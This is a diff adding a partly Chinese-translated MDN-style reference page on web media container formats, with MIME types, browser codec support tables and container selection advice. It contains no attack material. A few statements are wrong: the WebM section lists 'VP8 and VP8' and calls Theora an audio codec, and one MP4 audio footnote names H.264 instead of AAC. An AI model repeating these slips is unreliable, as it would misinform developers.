+   <td></td>
+   <td>Yes<sup><a href="#adts-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MP3</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="adts-aud-footnote-1" name="adts-aud-footnote-1">[1]</a> Firefox 支援 AAC 與否取決於作業系統的媒體建設如何，也就是說得要系統支援才行。</p>
+
+<h3 id="FLAC">FLAC</h3>
+
+<p><strong>Free Lossless Audio Codec</strong> (<strong>FLAC</strong>) 是一個無損的音訊編解碼器，它有一個相關的精簡音訊封裝格式，也叫做 FLAC，這個格式不受任何專利約束，因此你可以安心地使用它。FLAC 檔只能用來封裝 FLAC 音訊資料。</p>
+
+<table class="standard-table">
+ <caption>FLAC 媒體型態</caption>
+ <thead>
+  <tr>
+   <th scope="col">音訊</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/flac</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-flac</code> (非標準)</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>FLAC 支援的音訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEGMPEG-2"><a id="MPEG" name="MPEG">MPEG</a>/MPEG-2</h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-1")}}</strong> 和 <strong>{{interwiki("wikipedia", "MPEG-2")}}</strong> 基本上是相同的。這兩個格式由 Moving Picture Experts Group (MPEG) 創造，廣泛用於實體媒體上，如 DVD 媒體所用的視訊格式。</p>
+
+<p>在網路上最常用來封裝音訊資料的 MPEG 檔案格式可能是 {{interwiki("wikipedia", "MPEG-1", "Layer_III/MP3", "MPEG-1 Audio Layer 3")}}。也正是因為 MP3 檔被世界各地的數位音樂裝置使用，MPEG-1 和 MPEG-2 才能如此廣泛地應用於網路內容中。</p>
+
+<p>MPEG-1 和 MPEG-2 最主要的差別在於媒體資料格式而非封裝格式。MPEG-1 首見於西元 1992 年；而 MPEG-2 則出現在西元 1996 年。</p>
+
+<table class="standard-table">
+ <caption>MPEG-1 與 MPEG-2 的媒體型態</caption>
+ <thead>
+  <tr>
+   <th scope="col">音訊</th>
+   <th scope="col">視訊</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mpeg</code></td>
+   <td><code>video/mpeg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1 與 MPEG-2 支援的視訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2 Part 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>MPEG-1 與 MPEG-2 支援的音訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer I</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer II</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-4_MP4"><a id="MP4" name="MP4">MPEG-4 (MP4)</a></h3>
+
+<p><strong>{{interwiki("wikipedia", "MPEG-4")}}</strong> (<strong>MP4</strong>) 是最新版 MPEG 檔案格式。這個格式有兩種版本，分別定義於規範中的 part 1 和 part 14。MP4 是現今流行的封裝容器，它支援了大部份常用的編解碼器，同時它也廣泛地被支援。</p>
+
+<p>初版的 MPEG-4 Part 1 檔案格式首見於西元1999 年；第二版定義於 Part 14 在西元 2003 年時加入。MP4 檔案格式衍生於 {{interwiki("wikipedia", "ISO base media file format")}}，而該格式則是衍生於<a href="https://www.apple.com/"> Apple</a> 開發的 {{interwiki("wikipedia", "QuickTime file format")}}。</p>
+
+<table class="standard-table">
+ <caption>基本的 MPEG-4 媒體型態</caption>
+ <thead>
+  <tr>
+   <th scope="col">音訊</th>
+   <th scope="col">視訊</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/mp4</code></td>
+   <td><code>video/mp4</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>上表是基本的 MPEG-4 媒體型態，依照使用的編解碼器的不同，可能還會有其他型態。此外，當指出 MPEG-4 媒體型態時 (<code>audio/mp4</code> 或 <code>video/mp4</code>)，你可以在媒體型態字串中<a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">加上 <code>codecs</code> 參數</a>來指明你的音軌和/或影軌所採用的編解碼器，也可以提供組態(profile)、層級(level)等其他編解碼器的配置細節。</p>
+
+<table class="standard-table">
+ <caption> MPEG-4 支援的視訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AV1</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-vid-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-vid-footnote-1" name="mp4-vid-footnote-1">[1]</a> Firefox 支援 H.264 與否取決於作業系統的媒體建設如何，也就是說得要系統支援才行。</p>
+
+<p><a id="mp4-vid-footnote-2" name="mp4-vid-footnote-2">[2]</a> Firefox 目前對 AV1 的支援預設是關閉的，它可以透過在偏好設定中將 <code>media.av1.enabled</code> 設定為 <code>true</code> 來開啟。</p>
+
+<table class="standard-table">
+ <caption>MPEG-4 支援的音訊編解碼器</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">編解碼器</th>
+   <th colspan="4" scope="col" style="text-align: center;">支援的瀏覽器</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes<sup><a href="#mp4-aud-footnote-1">1</a></sup></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4-aud-footnote-1" name="mp4-aud-footnote-1">[1]</a> Firefox 支援 H.264 與否取決於作業系統的媒體建設如何，也就是說得要系統支援才行。</p>
+
+<h3 id="Ogg">Ogg</h3>
+
+<p>The <strong>{{interwiki("wikipedia", "Ogg")}}</strong> container format is a free and open format maintained by the <a href="https://www.xiph.org/">Xiph.org Foundation</a>. The Ogg framework also defines patent unencumbered media data formats, such as the Theora video codec and the Vorbis and Opus audio codecs. <a href="https://xiph.org/ogg/">Xiph.org documents about the Ogg format</a> are available on their web site.</p>
+
+<p>While Ogg has been around for a long time, it has never gained the wide support needed to make it a good first choice for a media container. You are typically better off using WebM, though there are times when Ogg is useful to offer, such as when you wish to support older versions of Firefox and Chrome which don't yet support WebM. For example, Firefox 3.5 and 3.6 support Ogg, but not WebM.</p>
+
+<p>You can get more information about Ogg and its codecs in the <a href="http://en.flossmanuals.net/ogg-theora/">Theora Cookbook</a>.</p>
+
+<table class="standard-table">
+ <caption>Base Ogg media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/ogg</code></td>
+   <td><code>video/ogg</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>application/ogg</code> MIME type can be used when you don't necessarily know whether the media contains audio or video. If at all possible, you should use one of the specific types, but fall back to <code>application/ogg</code> if you don't know the content format or formats.</p>
+
+<p>You can also <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#Ogg">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally further describe the track media formats.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by Ogg</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Theora</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by Ogg</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">FLAC</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Opus</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="QuickTime">QuickTime</h3>
+
+<p>The <strong>QuickTime</strong> file format (<strong>QTFF</strong>, <strong>QT</strong>, or <strong>MOV</strong>) was created by Apple for use by its media framework of the same name. The extension for these files, <code>.mov</code>, comes from the fact that the format was initially used for movies and was usually called the "QuickTime movie" format. While QTFF served as the basis for the MPEG-4 file format, there are differences and the two are not quite interchangeable.</p>
+
+<p>QuickTime files support any sort of time-based data, including audio and video media, text tracks, and so forth. QuickTime files are primarily supported by macOS, but for a number of years, QuickTime for Windows was available to access them on Windows. However, QuickTime for Windows is no longer supported by Apple as of early 2016, and <em>should not be used</em>, as there are known security concerns. However, Windows Media Player now has integrated support for  QuickTime version 2.0 and earlier files; support for later versions of QuickTime requires third-party additions.</p>
+
+<p>On Mac OS, the QuickTime framework not only supported QuickTime format movie files and codecs, but supported a vast array of popular and specialty audio and video codecs, as well as still image formats. Through QuickTime, Mac applications (including web browsers, through the QuickTime plugin or direct QuickTime integration) were able to read and write audio formats including AAC, AIFF, MP3, PCM, and Qualcomm PureVoice; and video formats including AVI, DV, Pixlet, ProRes, FLAC, Cinepak, 3GP, H.261 through H.265, MJPEG, MPEG-1 and MPEG-4 Part 2, Sorenson, and many more.</p>
+
+<p>In addition, a number of third-party components are available for QuickTime, some of which add support for additional codecs.</p>
+
+<p>Because QuickTime support is, for all intents and purposes, primarily available on Apple devices, it is no longer widely used on the internet. Apple itself generally now uses MP4 for video. In addition, the QuickTime framework has been deprecated on the Mac for some time, and is no longer available at all starting in macOS 10.15 Catalina.</p>
+
+<table class="standard-table">
+ <caption>Base QuickTime media MIME type</caption>
+ <thead>
+  <tr>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>video/quicktime</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The <code>video/quicktime</code> MIME type is the fundamental type for the QuickTime media container. It's worth noting that QuickTime (the media framework on Mac operating systems) supports a wide variety of containers and codecs, so it actually supports many other MIME types.</p>
+
+<p>You can <a href="/en-US/docs/Web/Media/Formats/codecs_parameter#ISO-BMFF">add the <code>codecs</code> parameter</a> to the MIME type string to indicate which codecs are used for the audio and/or video tracks, and to optionally provide details about the profile, level, and/or other codec configuration specifics.</p>
+
+<table class="standard-table">
+ <caption>Video codecs supported by QuickTime</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AVC (H.264)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Cinepak</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Component Video</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">DV</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.261</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">H.263</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-4 Part 2 Visual</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Motion JPEG</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 2</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Sorenson Video 3</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by QuickTime</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ALaw 2:1</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Apple Lossless (ALAC)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HE-AAC</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Microsoft ADPCM</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law 2:1 (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WAVE_WAV"><a id="WAVE" name="WAVE">WAVE</a> (WAV)</h3>
+
+<p>The <strong>Waveform Audio File Format</strong> (<strong>WAVE</strong>), usually referred to simply as WAV due to its filename extension being <code>.wav</code>, is a format developed by Microsoft and IBM to store audio bitstream data.</p>
+
+<p>It is derived from the Resource Interchange File Format (RIFF), and as such is similar to other formats such as Apple's AIFF. The WAV codec registry can be found at {{RFC(2361)}}; however, because nearly all WAV files use linear PCM, support for the other codecs is sparse.</p>
+
+<p>The WAVE format was first released in 1991.</p>
+
+<table class="standard-table">
+ <caption>WAVE media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/wave</code><sup><a href="#wave-foot-1">1</a></sup></td>
+  </tr>
+  <tr>
+   <td><code>audio/wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-wav</code></td>
+  </tr>
+  <tr>
+   <td><code>audio/x-pn-wav</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="wave-foot-1" name="wave-foot-1">[1]</a> The <code>audio/wave</code> MIME type is the standard type, and is preferred; however, the others have been used by various products over the years and may be used as well in some environments. </p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by WAVE</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">ADPCM (Adaptive Differential Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">GSM 06.10</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">LPCM (Linear Pulse Code Modulation)</th>
+   <td></td>
+   <td></td>
+   <td>Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">MPEG-1 Audio Layer III (MP3)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">µ-Law (u-Law)</th>
+   <td></td>
+   <td></td>
+   <td>No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="WebM">WebM</h3>
+
+<p><strong>{{interwiki("wikipedia", "WebM")}}</strong> (<strong>Web Media</strong>) is a format based on {{interwiki("wikipedia", "Matroska")}} which is designed specifically for use in modern web environments. It's based entirely on free and open technologies and primarily uses codecs that are in turn free and open, although some products support other codecs in WebM containers as well.</p>
+
+<p>WebM was first introduced in 2010 and is now widely supported. Compliant implementations of WebM are required to support the VP8 and VP8 video codecs and the Theora and Opus audio codecs. The WebM container format and its required codecs are all available under open licenses. Any other codecs may require a license to use.</p>
+
+<table class="standard-table">
+ <caption>WebM media MIME types</caption>
+ <thead>
+  <tr>
+   <th scope="col">Audio</th>
+   <th scope="col">Video</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/webm</code></td>
+   <td><code>video/webm</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Video codecs supported by WebM</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">AV1</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes<sup><a href="#av1-vid-footnote-1">1</a></sup></td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">VP8</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">VP9</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-vid-footnote-1" name="av1-vid-footnote-1">[1]</a> Firefox support for AV1 was added to macOS in Firefox 66; for Windows in Firefox 67; and Firefox 68 on Linux. Firefox for Android does not yet support AV1; the implementation in Firefox is designed to use a secure process, which is not supported yet in Android.</p>
+
+<table class="standard-table">
+ <caption>Audio codecs supported by WebM</caption>
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">Codec</th>
+   <th colspan="4" scope="col" style="text-align: center;">Browser support</th>
+  </tr>
+  <tr>
+   <th scope="col">Chrome</th>
+   <th scope="col">Edge</th>
+   <th scope="col">Firefox</th>
+   <th scope="col">Safari</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Opus</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Vorbis</th>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Choosing_the_right_container">Choosing the right container</h2>
+
+<p>There are a few factors to consider when selecting the best container or containers to use for your media. The relative importance of each will depend on your needs, your license requirements, and the compatibility requirements of your target audience.</p>
+
+<h3 id="Guidelines">Guidelines</h3>
+
+<p>The best choice also depends on what you'll be doing with the media. Playing back media is a different thing than recording and/or editing it. If you're going to be manipulating the media data, using an uncompressed format can improve performance, while using a lossless compressed format at least prevent the accumulation of noise as compression artifacts are multiplied with each re-compression that occurs.</p>
+
+<ul>
+ <li>If your target audience is likely to include users on mobile, especially on lower-end devices or on slow networks, consider providing a version of your media in a 3GP container with appropriate compression.</li>
+ <li>If you have any specific encoding requirements, make sure the container you choose supports the appropriate codecs.</li>
+ <li>If you want your media to be in a non-proprietary, open format, consider using one of the open container formats such as FLAC (for audio) or WebM (for video).</li>
+ <li>If for any reason you are only able to provide media in a single format, choose a format that's available on the broadest selection of devices and browsers, such as MP3 (for audio) or MP4 (for video and/or audio).</li>
+ <li>If your media is audio-only, choosing an audio-only container format likely makes sense. Now that the patents have all expired, MP3 is a widely supported and good choice. WAVE is good but uncompressed, so be aware of that before using it for large audio samples. FLAC is a very good choice, due to its lossless compression, if the target browsers all support it.</li>
+</ul>
+
+<p>Unfortunately, neither of the relatively major lossless compression formats (FLAC and ALAC) are universally supported. FLAC is the more broadly supported of the two, but is not supported by macOS without additional software installed, and is not supported at all on iOS. If you need to offer lossless audio, you may need to provide both FLAC and ALAC to get close to universal compatibility.</p>
+
+<h3 id="Container_selection_advice">Container selection advice</h3>
+
+<p>The tables below offer suggested containers to use in various scenarios. These are just suggestions. Be sure to consider the needs of your application and your organization before selecting a container format.</p>
+
+<h4 id="Audio-only_files">Audio-only files</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">If you need...</th>
+   <th scope="col">Consider using this container format</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Compressed files for general-purpose playback</td>
+   <td>MP3 (MPEG-1 Audio Layer III)</td>
+  </tr>
+  <tr>
+   <td>Losslessly compressed files</td>
+   <td>FLAC with ALAC fallback</td>
+  </tr>
+  <tr>
+   <td>Uncompressed files</td>
+   <td>WAV</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Now that MP3's patents have all expired, the choice of audio file format has become much easier to make. It's no longer necessary to choose between MP3's broad compatibility and the need to pay royalties when using it.</p>
+
+<h4 id="Video_files">Video files</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">If you need...</th>
+   <th scope="col">Consider using this container format</th>
+  </tr>
+  <tr>
+   <td>General purpose video, preferably in an open format</td>
+   <td>WebM (ideally with MP4 fallback)</td>
+  </tr>
+  <tr>
+   <td>General purpose video</td>
+   <td>MP4 (ideally with WebM or Ogg fallback)</td>
+  </tr>
+  <tr>
+   <td>High compression optimized for slow connections</td>
+   <td>3GP (ideally with MP4 fallback)</td>
+  </tr>
+  <tr>
+   <td>Compatibility with older devices/browsers</td>
+   <td>QuickTime (ideally with AVI and/or MPEG-2 fallback)</td>
+  </tr>
+ </thead>
+</table>
+
+<p>These suggestions make a number of assumptions. You should carefully consider the options before making a final decision, especially if you have a lot of media that will need to be encoded.</p>
+
+<h2 id="Maximizing_compatibility_with_multiple_containers">Maximizing compatibility with multiple containers</h2>
+
+<p>To optimize compatibility, it's worth considering providing more than one version of media files, using the {{HTMLElement("source")}} element to specify each source within the {{HTMLElement("audio")}} or {{HTMLElement("video")}} element. For example, you can offer an Ogg or WebM video as the first choice, with a fallback in MP4 format. You could even choose to offer a retro-like QuickTime or AVI fallback for good measure.</p>
+
+<p>To do this, you create a <code>&lt;video&gt;</code> (or <code>&lt;audio&gt;</code>) element with no {{htmlattrxref("src", "video")}} attribute. Then add child {{HTMLElement("source")}} elements within the <code>&lt;video&gt;</code> element, one for each version of the video you offer. This can be used to offer various versions of a video that can be selected depending on bandwidth availability, but in our case, we'll use it to offer format options.</p>
+
+<p>In the example shown here, a video is offered to the browser in two formats: WebM and MP4.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>The video is offered first in WebM format (with the {{htmlattrxref("type", "video")}} attribute set to <code>video/webm</code>). If the {{Glossary("user agent")}} can't play that, it moves on to the next option, whose <code>type</code> is specified as <code>video/mp4</code>. If neither of those can be played, the text "This browser does not support the HTML5 video element." is presented.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://portal.3gpp.org/desktopmodules/Specifications/SpecificationDetails.aspx?specificationId=1441">ETSI 3GPP</a></td>
+   <td>Defines the 3GP container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/53943.html">ISO/IEC 14496-3</a> (MPEG-4 Part 3 Audio)</td>
+   <td>Defines MP4 audio including ADTS</td>
+  </tr>
+  <tr>
+   <td><a href="https://xiph.org/flac/format.html">FLAC Format</a></td>
+   <td>The FLAC format specification</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/19180.html">ISO/IEC 11172-1</a> (MPEG-1 Part 1 Systems)</td>
+   <td>Defines the MPEG-1 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/74427.html">ISO/IEC 13818-1</a> (MPEG-2 Part 1 Systems)</td>
+   <td>Defines the MPEG-2 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/75929.html">ISO/IEC 14496-14</a> (MPEG-4 Part 14: MP4 file format)</td>
+   <td>Defines the MPEG-4 (MP4) version 2 container format</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/55688.html">ISO/IEC 14496-1</a> (MPEG-4 Part 1 Systems)</td>
+   <td>Defines the original MPEG-4 (MP4) container format</td>
+  </tr>
+  <tr>
+   <td>{{RFC(3533)}}</td>
+   <td>Defines the Ogg container format</td>
+  </tr>
+  <tr>
